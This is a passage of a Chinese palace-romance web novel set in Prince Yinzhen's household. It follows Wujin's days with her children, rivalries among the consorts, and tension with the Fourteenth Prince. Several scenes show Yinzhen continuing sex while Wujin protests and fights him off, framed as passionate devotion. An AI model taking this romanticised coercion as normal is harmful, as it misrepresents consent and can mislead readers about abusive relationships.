过了一会,额娘终于醒了,从里面走出来。
弘春先她一步跳下铺炕过去抱住额娘的腿,曦宁觉得她是大人了,没有像弘春那样黏着额娘,只是笑笑地喊了一声额娘。
“这是什么?”乌锦抬起弘春的下巴,手指抹了抹他嘴角的点心屑。
弘春赶忙用手擦嘴,试图“毁尸灭迹”,他知道额娘不喜欢他吃那么点心,也不喜欢他吃太多糖,他略显心虚道:“额娘,我什么都没吃,我没吃点心。”
“真的吗?”
“是姐姐让我吃的,我不好意思拒绝姐姐。”弘春指了指曦宁。
乌锦捏了捏他的脸:“你还推到姐姐身上,难不成姐姐硬把点心塞到你嘴巴里,逼着你咽下去,你就是自己想吃。”
“额娘,我下次不敢了。”
乌锦看向一旁的蔡妈妈,问弘春用过早膳没有,蔡妈妈摇头,她便让小才子去膳房多拿点吃的过来。
三人坐在一块用膳,乌锦给他们都夹了菜。
吃完后,弘春说要去骑马,乌锦拒绝他,这会天那么冷,外面风大,说不定能把人吹感冒,她逼着他识字写字,让他老实坐在屋里练字。
曦宁见到弟弟愁眉苦脸,十分不情愿的样子,就乐得嘴角上扬,只是她自己也被额娘要求练字时,她的笑容止住。
“对,姐姐也应该要写字。”弘春嚷嚷道,恨不得多一个人陪他。
“就当是陪陪弟弟,等会练累了,我们就吃锅子。”
额娘都这么说了,她只好坐下来,跟弟弟一人一边
练字。
乌锦一会看看弘春,一会看看曦宁,她见曦宁不像弘春那样一笔一划,很是笨拙地临摹,她写字时比较顺滑,显然是识字的,她还怕曦宁目不识丁,她不希望自己的女儿大字不识,像个被规训的大家闺秀一样只等着嫁人生子,她希望她能有自己的思想,不把自己困在后宅琐事之中。
“额娘,我累了。”
乌锦敲了敲弘春的脑袋瓜子,这才练多久,他就喊累:“你再写一百个字就不用写了。”
她知道弘春在上书房那边肯定不会好好读书练字,他是阿哥,那些教书先生不会对他太严厉,大多是睁一只眼闭一只眼,他阿玛又十分纵容他,就像今天,他本该去上书房上学的,但他没有,她要是再不管管他,他就成文盲了。
见额娘有点严肃,弘春只好继续低着头写字。
天冷,乌锦吩咐小才子弄一个酸汤锅,多备一些牛肉跟菌菇,素菜也多来一些,她刚吩咐完,李氏就带着曦玉过来。
“给乌夫人请安,乌夫人万福。”
乌锦连忙把曦玉格格搀扶起来,笑道:“曦玉格格,我哪敢受你的礼,快起来,曦宁跟我说这些年你对曦宁很好,我应该感谢你才是。”
“曦宁是我妹妹,我对她好是应该的。”
乌锦也跟李氏点点头,请她们坐下,让人奉茶。
“李姐姐,曦玉格格她的亲事定下了吗?”
李氏肯定道:“差不多要定下了,主子爷已经去请示皇上,皇上同意后,预计年后订亲,孩子真是眨眼间就长大了,我本想多留她几年的,只是主子爷说曦玉年纪不小了,我想也是。”
“定的哪家公子?”
“是康亲王的儿子。”
乌锦一愣,她记得没错的话康亲王是代善这一脉的,而代善是清太祖努尔哈赤之孙,就是康亲王跟皇上四阿哥他们都属于是清太祖的嫡系子孙,她虽不知道这里面辈分如何,但应该还没出五服,不过这古代表哥娶表妹好像是常有的事。
就是曦玉嫁给康亲王的儿子,这不就代表康亲王会站到四阿哥这边,简亲王雅尔江阿跟四阿哥从小一块长大,显然已是四阿哥阵营里的人,再加上一个康亲王,拥趸四阿哥的人还真不少,离四阿哥登基是越来越近。
“妹妹,我看曦宁年纪也不小了,再过几年,妹妹也会跟我一样为曦宁的亲事发愁。”
乌锦笑道:“可不是嘛,孩子真是一下子就长大了,在当娘的眼里,总觉得她们还是孩子,姐姐,你们要不留下来跟我们一起吃锅子吧,我刚刚让人备了酸汤锅,大冬天的,吃锅子舒服。”
“好啊。”李氏答应下来,她目光忍不住瞥了一眼弘春,心里暗道弘春怎么会在这里,主子爷是当真不介意弘春这个孩子嘛,她故意当做没看到弘春,也没有问弘春为什么会在这里,不想让乌锦尴尬。
主子爷爱乌锦是肯定的,自从乌锦回来后,那年氏侍寝的次数就变少了,主子爷连乌锦跟十四阿哥暗度陈仓都不介意,可见他有多爱,爱到舍不得苛责乌锦半句。
她要跟乌锦搞好关系,说不定乌锦日后能帮到他,如今弘时也长大了,主子爷若是能坐上那个位置,那就代表着她的弘时有可能成为皇子。
弘晖跟弘时年纪相差不大,主子爷子嗣少,目前只有三个阿哥,弘历才三岁,弘晖虽然是四阿哥的嫡长子,但不代表着四阿哥一定会让他即位,就像前太子跟皇上,她的弘时还是有可能坐上皇位,她也一定要帮弘时争取,她的弘时不输给福晋的弘晖,而乌锦说不定能帮到她跟弘时,枕边风是不容小觑的。
乌锦不知李氏心中所想,她已经忙着张罗吃锅子。
弘春本来胆子就大,见到生人也不害怕,反正有她额娘在,他坐在他额娘身边。
酸汤锅开胃,膳房的人上来的食材又十分新鲜,牛肉切片放下去后没多久就熟了,弘春高兴地吃着额娘给他烫的牛肉片。
乌锦不能厚此薄彼,给弘春汆烫肉也给曦宁汆烫,一顿锅子吃下来,她自己没吃多少,不过孩子开心就行。
弘春吃饱后,乌锦就让他的奶娘送他回去。
李氏跟曦玉格格吃完后也离开桃园,只有曦宁还在,母子两各自拿着一本话本子在看,过一会儿,消食得差不多,两人午歇,曦宁就睡在小时候她住的房间。
乌锦睡得迷迷糊糊时,觉得有人压着她,她迫不得已睁眼,这人什么时候回来的。
“主子爷,你干什么?”
“你说我在干什么。”
乌锦瞥一眼窗边,这会还没天黑呢,这人哪来那么多精力,她躺着,没说什么,只是他越来越用力,弄疼她,她不满地说一句:“你轻点。”
“轻不了。”
胤禛快要气死了,他发现十四这几日跟老八他们走得很近,十四什么心思,他一清二楚,他这是彻底跟他这个哥哥站在对立面,想拥护老八即位,他还是想将乌锦抢回去,故意跟他作对。
他有意将火气撒在乌锦身上,见到她皱眉不满后,他动作才变得轻柔一些,只是他心中仍然愤怒,忍不住咬乌锦的肩膀一口,结果被乌锦推了一下。
“乌锦,要是被我发现你跟十四暗中往来,我就咬死你。”
“别发疯,要不你现在就咬死我。”
胤禛摸了摸她的脸,他要是舍得,早就下手了,都怪十四这个卑劣小人。
“你就是仗着我不会对你怎么样而故意气我。”
“快起来,你这么重一个人压在我身上,我都喘不上来气了。”
胤禛没理她,继续埋在她身上,结束后,他才躺到一边。
乌锦自己擦了擦,将脏了的手帕捂住他的脸。
胤禛把她的手拿来,笑着看她。
乌锦翻了一个白眼,直接叫水。
到了傍晚,乌锦还是选择吃酸汤锅,见到曦宁一直低着头,她问她怎么了。
“额娘,我没事。”曦宁怎么好意思说一个时辰前,她午歇醒来时想过去找额娘,被君梅她们拦住,说是阿玛在额娘房中,不让她进去,只有一种情况,她不能进去,她不是什么都不懂的小孩子,所以再看到额娘跟阿玛时,她有点别扭,也有点不好意思。
“晚上还是别吃太多,小心积食。”
“嗯嗯,额娘,你放心,我不会吃太多的。”
曦宁先吃饱后就逃一样离开桃园,她知道阿玛肯定在额娘房中过夜,这阵子都是如此。
乌锦有些疑惑,不明白女儿怎么了。
胤禛看破不说破。
她中午睡过了,这会还不困,便让君梅拿一些布料给她,她想着给女儿跟儿子做两件冬袄。
胤禛沐浴完出来见到乌锦在做针线活,他忍不住道:“这些交给绣娘就行,挑着灯做这些,小心弄坏眼睛。”
“没事,我就是用剪子剪一剪,我这会睡不着。”
“给谁做的?”
“曦宁。”
胤禛看了看那些料子,不像是只给曦宁做,还有男子的衣服料子,他没有问是不是也有弘春那一份,他知道肯定有弘春那一份,毕竟弘春也是她的孩子。
他之前一直想让乌锦再生一个阿哥,没想到阿哥是生了,却不是他的孩子。
“不早了,该歇了。”
“我还不困,你自己先睡吧。”
胤禛坐在她旁边看着她做针线活。
有一个大活人在一旁直盯着她,乌锦哪里做得下去,她寻思着也给他做一件吧,她很少给他做衣服,知道他不缺,于是她拿着布尺在他身上量尺寸。
“终于记得你家爷了,要你亲手给我绣一件衣服简直比登天还难。”
“府里的绣娘绣工又不差,你干嘛非要折腾我,刚刚还说交给绣娘来做呢,你莫不是口是心非。”
胤禛垂眸看站在他面前的人絮絮叨叨的样子,恍如隔世,当初他不要跟她分开就好了,他们不会分开这么久。
“皇阿玛身子越来越不好了。”
“皇上老了。”
胤禛嗯了一声,皇阿玛是老了,只是皇阿玛不想承认,人越老越贪恋那个位置,他对着乌锦说道:“其实我也老
了,我长出来的头发都开始发白了。”
“主子爷还年轻。”
“别骗我了,我知道我老了,我不知道自己还要等到什么时候,有可能我比皇阿玛还要早走。”
乌锦也有发现四阿哥不是二十几岁的年轻人了,他已经三十五岁,他其实也开始等不住了吧,前太子当了那么多年储君,就是等不住才展露出野心,有后面这一切,四阿哥不会想到他还要等上八年才真正坐上那个位置,到那个时候,他已经四十几岁了,步入老年。
这个时候,她也只能安慰他:“别说傻话,主子爷能长命百岁,主子爷肯定能如愿的。”
胤禛盯着乌锦:“你想我坐上那个位置吗?”
“我想当皇后。”
胤禛轻笑,她当不了皇后,有福晋在呢,不过他可以让她当皇贵妃,她是希望他坐上那个位置的,为了她,他一定会坐上那个位置。
“放心吧,哪怕你不是皇后,我也会让你当个最得宠的皇贵妃,皇后也不敢招惹你。”
乌锦抬眸看他一眼,量好后又继续裁裁剪剪。
胤禛在一旁拿起一本书看。
乌锦最后还是受不了,简单洗漱后就准备睡觉,省得这个人无形地催她睡觉。
“乌锦,再给我生个阿哥吧。”他在她耳边低声说了一句。
乌锦想他可真是会难为她,她都一把年纪了,不说在古代了,在现代都是高龄产妇,不可能再有孩子了,除非她能老蚌生珠,她背过身,不想搭理他。
他贴上来。
乌锦没管他,他做他的,结束后,也是他帮她擦拭,她到后半夜才睡着。
第二天,乌明给她递信,说是姑母病重,恐时日不多,乌锦对姑母这个人还是心怀感激的,姑母一家以前也的确帮过乌家许多,她想也没想就带着曦宁出府,过去姑母的府邸。
大堂哥他们可能早有耳闻她还活着,见到她时没有很惊讶。
乌锦来到姑母病榻前,姑母才是真的老了,整个人很干瘦,人有些糊涂,已经认不出她了,甚至说的都是胡话,仿佛只剩下最后一口气了。
乌锦红了眼眶,抓着姑母的手,在她耳边说了很多话,感谢她这么多年对乌家、对她的照顾。
乌锦在姑母家待了一天,直到傍晚才带着曦宁离开。
两天后,姑母的死讯传来,乌锦带着曦宁出席姑母的葬礼,给了丧银,四阿哥也亲自过去悼念。
弘春这几日没过来找她,乌锦在后院的日子过得很平静。
临近年关,桃园里的奴才也开始清扫,除旧迎新。
到了腊八节当天,十几天没来找她的弘春才出现,乌锦问弘春这十几天都做什么了。
“额娘,我生病了,所以才没有过来找额娘,阿玛说我生病了,要是过来见额娘,也会让额娘生病,我不想额娘生病。”
乌锦一听弘春生病,顿时紧张起来,弘春这孩子看上去康健,很少生病,但他一生病就会病很久。
“怎么会生病?是发烧了吗?额娘摸摸。”乌锦摸弘春的额头,目光看向弘春的两位奶娘,一个蔡妈妈,一个刘妈妈,问弘春怎么病的。
她们说弘春是跟着十四阿哥去骑马,吹风着凉,回来后就发烧了,前几日才退烧,现在已经好多了。
乌锦气得在心里骂十四,十几天前,弘春就让她带去城外骑马,她拒绝了,这孩子转头就找他阿玛,知道他阿玛肯定会纵容他,明知京城这会入冬,冷得要命,还带去骑马。
“都说外面风大,那么冷,你阿玛还带你去骑马,他就是想让你生病。”
“阿玛不想的。”
“都这个时候,你还帮你阿玛说话,你们父子两真是一伙的,真的退烧了吗?有没有流鼻涕?”
“没有流鼻涕,我喝了很多苦苦的汤药,额娘,你放心吧,我真的没事,你看我不是好好的嘛。”
乌锦捏了捏弘春的鼻子。
弘春伸手也想捏额娘的鼻子。
“别闹,小心摔下去。”
弘春在铺炕上翻滚。
乌锦慈爱地看着弘春,看他胖嘟嘟的身子滚得像一颗球,四阿哥进来时,她都没有发现,还是君梅行礼请安,她才见到进来的人。
弘春见乌锦不说话了,一抬头也见到四伯伯,他很快起身,直接到额娘怀里坐着。
“爷,你今天回来得这么早?”
胤禛见到弘春,又想到这阵子十四跟老八他们走那么近,老八的生辰宴请了十四,听说十四还给老八送了厚礼,他顿时没有好脸色,这小子还故意坐到乌锦怀里以示亲近,一看是上梁不正下梁歪,跟十四学的。
不过当着乌锦的面,他没有流露出太多不喜,只是坐到一边,让人给他倒茶,他慢慢品茶。
“额娘,我生病的时候喝了很多苦苦的药,我说不喝,阿玛还非让我喝,我不喜欢阿玛了。”
“生病不喝药喝什么?谁让你生病的。”
“额娘,什么时候你能跟我们一起去骑马?我想跟额娘一块出去玩。”
乌锦偷偷瞥一眼坐在一旁沉默不言的人,他肯定听得到弘春说的话,弘春这孩子说话太随意了,以后还得教他什么话该说,什么话不该说,尽量不要在四阿哥面前提起他阿玛,她已经不可能跟他们一块去骑马,她单独带弘春可以,但是不能跟他阿玛一起。
“额娘,等天暖了之后,你可以跟我们一起出去玩吗?”
“额娘恐怕不得空。”
“为什么?额娘在忙什么?”
乌锦说她在忙着给他做冬衣。
“那额娘也给阿玛做吗?我想阿玛要是收到额娘做的衣服肯定会很高兴。”
乌锦知道她不适合再跟弘春说下去了,不然某个人的脸要黑成炭了,她让弘春去找弘时玩,弘时阿哥应该也在府里。
“额娘,你忘了,我生病了,阿玛说我不能出去玩,只能待在房间里,不然又会着凉。”
乌锦想想也是,外面冷得很,屋内是烧着炭才没有那么冷,她不能赶四阿哥离开,只能给奶娘使眼色。
蔡妈妈自打弘春阿哥出生就跟在弘春阿哥身边,不是没有眼色的人,她看懂主子的意思,立即道:“小阿哥,时辰不早啦,我们得回去了,你还得回去喝药呢。”
“我不想喝药。”弘春赖在乌锦怀里,双手紧紧搂着乌锦的脖子,完全不想离开。
“不行,要按时喝药,只有按时喝药,病才会好得快,随蔡妈妈回去喝药,听额娘的话。”
“那我要额娘亲亲我。”
乌锦在弘春脸上连亲几下后示意蔡妈妈把人抱走。
弘春走的时候跟她挥挥手,说他明日再过来。
乌锦笑着跟他点点头。
弘春他们一走,屋内顿时变得寂静,乌锦小心翼翼地偷看四阿哥。
“是不是该摆膳了?”他说。
哪怕这会她还不饿,她也得同意,立马示意人摆膳。
“乌锦,你要记住你应允过我的。”
莫名其妙的一句话,乌锦疑惑地嗯了一声,“主子爷说的是什么?”
结果这人抬眼睨她,那眼神可冷了,仿佛要把她冻僵,她的确不知道他指的是什么。
“你要是再跟十四有往来,你别怪我冷酷无情。”
“我的心在主子爷这,我不会主动跟十四阿哥往来,我知道我喜欢的人是主子爷。”
“那那八年里,你有没有喜欢过十四?”
“没有。”乌锦这个时候想也不想地答道,她知道这个答案是他想听的,至于她对十四阿哥的感情,她觉得没必要去深思。
哪怕她是骗他,胤禛也满意这个答案,只是刚才看她跟弘春相处,他心里十分气愤,乌锦把弘春当成小孩子,可他看那个孩子聪明得很,故意在他面前提起十四,跟十四一样非常有心计。
吃完后,胤禛直接拉着乌锦到内间,把她放倒在床上,使劲亲她,脱去她所有衣物。
“乌锦,再给我生个阿哥吧。”
乌锦这个时候得哄他,她知道自己这个年纪不可能再有生孕,她敷衍道:“我要是怀了肯定生。”
没怀,她也生不了。
“放心吧,我会让你怀上的,你要相信我,我们多做几次,天天做,肯定会有好消息的。”
“但愿如此。”乌锦顺着他说道,很快被堵住嘴。
第108章第108章新文《康熙家的德妃又作又……
弘春第二天还是白天过去,好在这回四阿哥不在,乌锦盯着弘春写半个时辰字,弘春天性爱玩,总把他困在房间内里也不行,她又不能太明晃晃地带着弘春到花园那边玩,弘春毕竟不是四阿哥的孩子,被后院那些女人看到成什么样子,她总得顾及四阿哥的脸面。
于是她只能带弘春出府了,弘春病还没完全好,她将他裹得严实才放心带他出去,也把曦宁带上。
她带他们去戏楼听戏,要了一间包厢。
两人都很喜欢听戏,弘春难得安静,认认真真听戏,目不转睛地看着台上。
乌锦一半听一半吃那些零嘴。
“额娘,这比额娘跟我说故事有趣多了。”弘春回头跟她说一句。
乌锦心想人家是专业的,练过许多年,穿着戏服,又有动作跟互动,她说故事也会是干巴巴地说,哪比得上人家专业唱戏的那么绘声绘色。
他们听戏听了一个多时辰才离开,她先送弘春回十四阿哥的府邸,只送他到门口,弘春还想让她进去,被她拒绝,要是她进去,被四阿哥知道就解释不清了。
看着弘春等人进府后,乌锦才让车夫驱车。
“额娘,我们还去听戏吗?”
乌锦看向曦宁,笑道:“你若是想听,额娘明日可以带你去听。”
“可以请他们到府里。”
“那样就太兴师动众了,府里的事还得问过你嫡额娘。”
曦宁想想也是,于是歇了心思,反正过年的时候,嫡额娘应该会请戏班子到府里,往年都会如此,到时候再看就是。
乌锦跟曦宁回到府里,到后院时碰到年氏。
“侧福晋跟曦宁格格去哪了?”年氏问道。
乌锦打量一下年氏,年氏的确好看,又年轻,她跟说话时总有一股居高临下的态度,许是家世好,进府后又得宠,没把别人看在眼里。
“我跟我额娘出去了。”
“天冷了,还请姐姐跟曦宁格格多注意身子,免得着凉。”
“谢谢年额娘关心,年额娘也是,年额娘还有事吗?”
年氏说没事了,她要过去前院找主子爷。
乌锦跟曦宁走回桃园的路上时,她不由多看曦宁两眼,自家女儿应付起后院那些女人还是有一套的,游刃有余,没让年氏占到便宜,问她去哪,她也只是说出去了,没说出去干什么,有点心眼是好事。
“额娘,我不喜欢年额娘。”
“为什么不喜欢她?”
“反正就是不喜欢。”曦宁觉得年额娘故意当着额娘的面说她要去找阿玛,想让额娘吃醋嫉妒,她之前也总炫耀自己得宠,她对年额娘喜欢不起来,觉得她太过倨傲。
“没事,不喜欢就不喜欢,没必要喜欢所有人,她要是欺负你,你就去告诉你阿玛。”
“她才不敢欺负我,我是阿玛的女儿,她不过是一得宠的格格而已,更何况她现在比不上额娘得宠。”
乌锦没说什么,曦宁身处后院,对后院女人争宠的手段应该见识过很多次了,她有她的应对方式,她暂时无需多教她什么。
夜里,四阿哥又过来。
乌锦心想这人想让她怀上孩子的心很迫切,天天做都不嫌烦,她连敷衍都懒得敷衍他了,有时候就是躺着不动,他想做什么就做什么吧。
翌日一早,乌锦刚醒,君梅就过来说外面下雪了,今年第一场雪。
乌锦穿好衣服后到外面一看,院子里有一层薄薄的雪,屋檐上的积雪就厚了不少,她只在外面站一会就觉得冷,今日恐怕出不了府了。
“曦宁格格呢?”
“格格好像还没睡醒。”
乌锦又回到屋内,想等曦宁睡醒再用膳,本以为弘春今日不会过来,外头下着雪呢,结果他还是过来了,她忙让人递暖手炉给弘春暖手。
弘春吸了吸鼻子。
“你说说你,都下雪了,你怎么不好好待在家里,你阿玛明知你生病,还让你出来,他是不是想让你病得更严重。”
乌锦擦去他的鼻涕。
“是我求阿玛的,我想跟额娘出去听戏,而且我不冷,你看我穿得多厚。”
“今天哪也不许去,老老实实待在房间里,你鼻涕流成这样了,好不容易退烧,出去万一冻着又烧起来怎么办。”
弘春委屈地撅着嘴。
乌锦才不管他,小孩子生病不能轻视,她让人往炭盆里多添一些炭。
“额娘,我想吃酱肘子。”
“知道了,我让膳房的人做,还想吃什么?”
弘春歪头想了想,说他还想吃八宝粥。
乌锦把小才子唤进来,让他交代膳房的人。
弘春来的次数多了,他把额娘这当做是自己家,他十分自然地躺在铺炕上。
乌锦让听春去把府医请过来,让府医给弘春看诊,府医说没有大碍后,她才松一口气。
曦宁已经从别院搬到桃园,跟她住在一块,曦宁一过来额娘的房间就见到弘春躺在铺炕上,还翘着一条腿,跟弘春视线对上时,弘春叫了一声姐姐,她哦了一声。
她对弘春感情比较复杂,她刚有额娘,结果额娘一半的爱要分给弘春,弘春又是十四叔的孩子,十四叔跟阿玛,她肯定站在阿玛这边,她觉得自己跟弘春太过亲近的话,就是背叛阿玛,可是弘春也是她弟弟,她知道额娘盼着她跟弘春和睦相处,有时候她心里很挣扎。
“额娘,我还想喝奶。”
乌锦又让人去找些新鲜的羊奶或是牛奶过来。
“曦宁,你早膳想吃什么?”
额娘问她,曦宁想了想,说她想吃包子。
来来回回折腾好几回,这早膳才被摆上来,曦宁吃包子,弘春捧着羊奶在喝,乌锦也拿起一个包子吃起来。
弘春见额娘跟姐姐都在吃包子,他顿时觉得做好的酱肘子不香了,也想吃包子,他接过额娘递过来的包子,吃得很开心。
胤禛进来时就是见到这一幕,他忍不住皱眉。
曦宁先见到自家阿玛,不知为何,觉得自己背叛阿玛的想法又浮上来,吓得她包子都掉在膳桌上。
反倒是弘春很自然地喊了一声四伯伯。
“主子爷,你吃过了吗?曦宁想吃包子,膳房的人做了很多包子上来,你坐下来一起吃吧。”乌锦招待四阿哥,让他坐下来一起吃。
胤禛坐在女儿身边。
曦宁心里一紧,莫名不敢抬头看阿玛,她抬头看一眼额娘,额娘比她淡定多了,连语气都很自然平静,往阿玛的布菜碟中放了几个包子,她本以为阿玛会不高兴,但阿玛没有发脾气,只是静静地吃包子。
早膳吃完后,弘春还没走,阿玛也没走,弘春脱去外面的短袄,掀起衣服,让额娘摸他的肚子,说他吃撑了,他又很自然地躺在铺炕上,额娘揉了揉弘春的肚子。
曦宁知道弘春有点胖,他肚子就更胖了,那白花花的肚子看上去很好摸,只是她没有伸手过去摸,阿玛还在呢,她寻思着阿玛怎么还不走,今天不用处理公务吗?
弘春吸了吸鼻子,奶娘用手帕帮他擦鼻涕,曦宁不得不佩服弘春的胆量,也有可能是弘春年纪还小,什么都不懂。
“好啦,今日去不了戏楼,蔡妈妈,你们带弘春回去吧,别让他在外面玩,好好待在房间里。”
蔡妈妈点头应是。
弘春不想走,赖在铺炕上:“额娘,我不想走,额娘不要赶我走,我想听额娘讲故事。”
“你回去让你阿玛给你讲,好啦,别赖皮,额娘也有很多事情要做。”
弘春只好起身,他知道额娘为什么赶他走,因为四伯伯在这里,四伯伯就是要跟他抢额娘,他人小,现在还抢不过四伯伯,等他长大后,他肯定会把额娘抢回来。
弘春心不甘情不愿地
离开。
曦宁见弘春离开,她莫名不敢再待下去,她也很快带着奴才回她的房间。
乌锦见平日里忙碌的人跟个门神一样杵在她房间中,意思很明显,就是想赶弘春离开,她没好气道:“人走了,你现在满意了。”
“我有什么好满意的,他是十四的儿子,我能让他出现在这已经是我宽宏大量,你还想我怎么做?”
“你要是不想见到他,你可以回前院。”
胤禛沉默,他要是回前院,岂不是让那个小子得逞了,那小子就想霸占乌锦,故意跟他作对,他一眼就看穿他。
乌锦没继续理他,把没做好的冬衣拿出来,继续做针线活。
胤禛直接让人把折子等东西搬过来,在乌锦做针线活时,他坐在书桌前处理递给他的折子。
之后几天,弘春没有过来。
到了除夕,四阿哥带着福晋跟李氏等人进宫,孩子都跟着去了,乌锦没有进宫,她毕竟是一个已经“死”了的人,没必要进宫给别人惊吓。
她自己跟桃园的奴才吃年夜饭,大冬天的,吃锅子很舒服,宫里的年夜饭其实不好吃,有一股蒸久的怪味,毕竟很多是提前做好的,只是重新蒸热。
他们吃完年夜饭后,乌锦坐着等曦宁他们回来。
一直到酉时末,天黑后,他们才回来。
四阿哥被搀着回来,一看就是喝了酒,她给四阿哥喂了醒酒汤后,放他到床上躺着,出去看看曦宁那边的情况。
“没发生什么事吧?”
“没事,就是阿玛喝多了,还有皇爷爷让弘春起来作诗,弘春作不出来,十四叔被皇爷爷骂教子无方。”
大过年的,皇上怎么还骂人,不过弘春过了年就七岁了,他贪玩,没怎么好好读书学习,知识肯定是落后的。
“好啦,你该洗澡洗澡,好好歇息吧。”
乌锦叮嘱完后从曦宁房间里出来,她见到四阿哥从床上坐起来,她问了一句:“爷,你想要什么?是想吐吗?”
“嗯。”
她连忙让君梅拿来痰盂。
四阿哥又没有真的吐出来,他一身酒味,乌锦让人给他脱去衣服擦身,让他漱口,她见他眼神似清醒又似混沌,不知道醉到几成了。
“乌锦,给我生个阿哥吧。”
“好好好,生生生,你快躺下吧。”
“我不想躺下,我难受。”
“哪难受?”
“头疼。”
乌锦半跪在他身后帮他揉按太阳穴的位置,缓解他的头疼,他往后靠在她身上,闭上眼睛睡了过去。
乌锦庆幸他没有太折腾,夜深了,她跟着躺下去入睡。
不知过了多久,她觉得有人在碰她,她迷迷糊糊睁眼,房间内只有一盏烛灯亮着,床帐内昏暗,她见到原本喝醉睡着的人不知何时醒了,正伏在她身上,这人真是有病。
“我吵到你了?”
“你说呢,你大半夜的自己不睡觉就算了,能不能别折腾我。”
“给我生个阿哥,我们的孩子肯定比弘春聪明。”
乌锦真是懒得搭理他,这人在发神经。
“你为什么不愿意给我生个阿哥?”
乌锦没回他。
胤禛手上的力道不由地加大,结果被一掌拍开。
“你再掐我就从我身上起开。”
胤禛说他不是故意的,他就是控制不住,他低头亲乌锦,她没有理他,他仍然没有停下动作,他埋在她体内。
“别生气,我保证不弄疼你。”他声音有着难得的温柔。
乌锦气得直接抬脚踹他。
“好啦好啦,一会就好。”
乌锦张口直接咬他的脖子,尽管如此,他也没有停下来,直到结束,他又直接躺下来。
“起来,收拾干净,不然你别想睡了。”
这床帐内都是那股腥味,乌锦可睡不了,只是他的确是累了,怎么喊都不起来,她气得扇他的脸,用了六成力气,他还是闭着眼睛。
乌锦只好自己起来,喊了外面守夜的翠香,收拾好后,她才重新躺下来,见到熟睡中的人,气不打一处来,又掐他的脸一把。
他本来就是酒醉后中途醒来,这会筋疲力尽,哪怕是感觉到疼痛,他也睁不开眼。
乌锦被吵醒后反而睡不着,一直翻来覆去到清晨才再次睡着。
大年初一,鞭炮声传来。
曦宁一大早见额娘还没醒,她就过去找曦玉玩,直接在李额娘那吃了一碗素饺,然后跟曦玉一块去放鞭炮。
乌锦醒来的时候已经是大中午了,四阿哥已经进宫,她先过去给福晋她们拜年,在后院走一圈后才回到桃园。
宋格格跟耿格格也过来桃园找她聊天。
“你是不知道一大早,我们过去给福晋拜年时,你起晚了,没过来,年氏说了什么?”
“她说了什么?”
“说你不尊重福晋,没把福晋放在眼里,这种挑破离间的手段,福晋哪会如她所愿,直接说你昨晚伺候主子爷,起来晚一点是应该的,年氏的脸瞬间沉下来,后院的人都知道如今她的恩宠大不如从前。”宋氏笑道。
“昨晚主子爷喝多了,发疯来着。”乌锦忍不住说了一句,她觉得她还没睡好,在心里又骂了四阿哥几句。
“发疯?主子爷怎么会发疯?主子爷这个人一向温和。”耿氏疑惑。
乌锦深深地看了耿氏一眼,可能只有她觉得主子爷温和,说明四阿哥这人藏得多深,在外人面前表面功夫做得多足,连后院的格格都不知道他真实的性子。
宋氏因为跟主子爷年头最久,她不觉得主子爷性子温和,只是主子爷很少对着她们发脾气就是了。
“我想主子爷是在妹妹面前才会情绪外露。”
“不说他,我们出去走走吧。”
三人去花园那边,今儿天气不错,虽然寒冷但是有阳光,刚说到年氏,她们就碰到年氏。
“给三位姐姐请安。”
年氏今日穿着鲜艳,大过年的,穿点颜色鲜艳的衣服也是好事,乌锦打量年氏一眼后就收回视线。
年氏也打量乌锦,觉得乌锦穿得很素雅,也没怎么戴首饰,主子爷如今天天过去乌锦那,这府里的人都在看她笑话,她见到乌锦时自然没什么好心情,不过也得硬挤出笑容打招呼。
“妹妹,你说昨晚主子爷回来后还让你侍寝,把你折腾到后半夜,要是我,我也会起不来,我记得年妹妹之前也是如此,一旦侍寝就会起得晚,只是最近年妹妹都起挺早的。”宋氏故意说道。
乌锦没有制止宋氏,她知道她是为了挤兑年氏。
年氏当然听得出宋氏是嘲讽她失宠了,她其实也不明白为什么侧福晋会这么得宠,她再漂亮,年纪也这么大了,皮都皱了,主子爷为什么会喜欢她。
“早起是好事,我喜欢早起,我这么年轻,自然不像上了年纪的人那样起不来。”
宋氏继续道:“谁都有年轻的时候,妹妹现在年轻,不过迟早也会像我们一样变得不年轻,到时候妹妹像我们这个年
纪的时候,希望妹妹也能够早起。”
年氏知道对方人多,三两句就能挤兑她,她又不能真的跟她们打起来,她只好离开,不与她们争辩。
宋氏见到年氏离开,噗嗤笑出声:“终于让我们解气一回,以前她得宠的时候,天天用鼻孔看人,现在看她还敢不敢得意,你说我们都这把年纪了,谁还在意得不得宠,也就只有她在意这些东西。”
“年格格还年轻。”乌锦淡淡地说了一句。
“可不是年轻,年轻气盛,其实这性子也挺好的,至少不用猜。”宋氏点头道。
三人在花园这边待了好一会才回去。
夜里,乌锦陪着曦宁放烟花,放烟花的时候,她想到弘春,弘春很喜欢放烟花,她不知道弘春他们是怎么过年的,大年初一,弘春没有过来,她也不能让人去十四府上过问。
大年初一就这样过去。
弘春是大年初二早上过来的,乌锦想也没想就带他出府,以前都是镇北关过年,今年是第一次在京城过年,京城比镇北关要热闹繁华。
曦宁跟曦玉出去玩了,她只带着弘春一个人出去玩,大年初二有很多人去寺庙烧香拜佛,附近的庙会很热闹,她直接带着弘春去庙会。
庙会上有很多摊贩在卖吃的,他们一路吃过去,忽然间弘春冲到前面,拉住一个人,乌锦定眼一看见是十四,心想他们父子两是不是约好了,哪这么容易巧遇。
“额娘,我们跟阿玛一起好不好?以前我们都是跟阿玛一起逛的。”
乌锦没说话。
弘春眼泪快要出来,样子十分可怜,大过年的,乌锦不想弘春失落,于是点点头,说她就跟在他们身后。
“不行,我要额娘跟阿玛一起牵着我,额娘,你牵我的左手,阿玛,你牵右手。”
这次乌锦没有答应他,只是跟在他们旁边,弘春很兴奋,见到什么都很兴奋地指给他们看,原本他们中间隔着弘春,走着走着,十四就走到她身边。
“我知道我做错了,我不该明知你失忆,什么都不记得,还故意留你在身边。”
“都过去了。”
“乌锦,你有没有一点点喜欢我?”
乌锦正脸看他,冷声道:“十四阿哥,你的确不该将我故意留在你身边,你这么做只满足你个人私欲,你没有考虑后果,你甚至没考虑到我,你考虑到的只有你自己,当时的我连是非都无法分辨,而你自私地让我生下弘春,你从来没想过我要面对什么,你四哥从来不是好相与的性子,倘若他要是报复我,报复你,容不下弘春,你要怎么办?你知不知道你所做的一切都是将我们推入深渊,人不能太自私,肆意妄为,你身后不是只有你一个人,而我身后也不是只有我一个人。”
“是我不对,你怎么怨我怎么恨我都是应该的。”
“我么不该把弘春带到这个世上。”
“弘春是无辜的。”
乌锦叹口气,她当然知道弘春是无辜的,最不无辜的人是他,以四阿哥的性子,他不会让这件事轻轻揭过的。
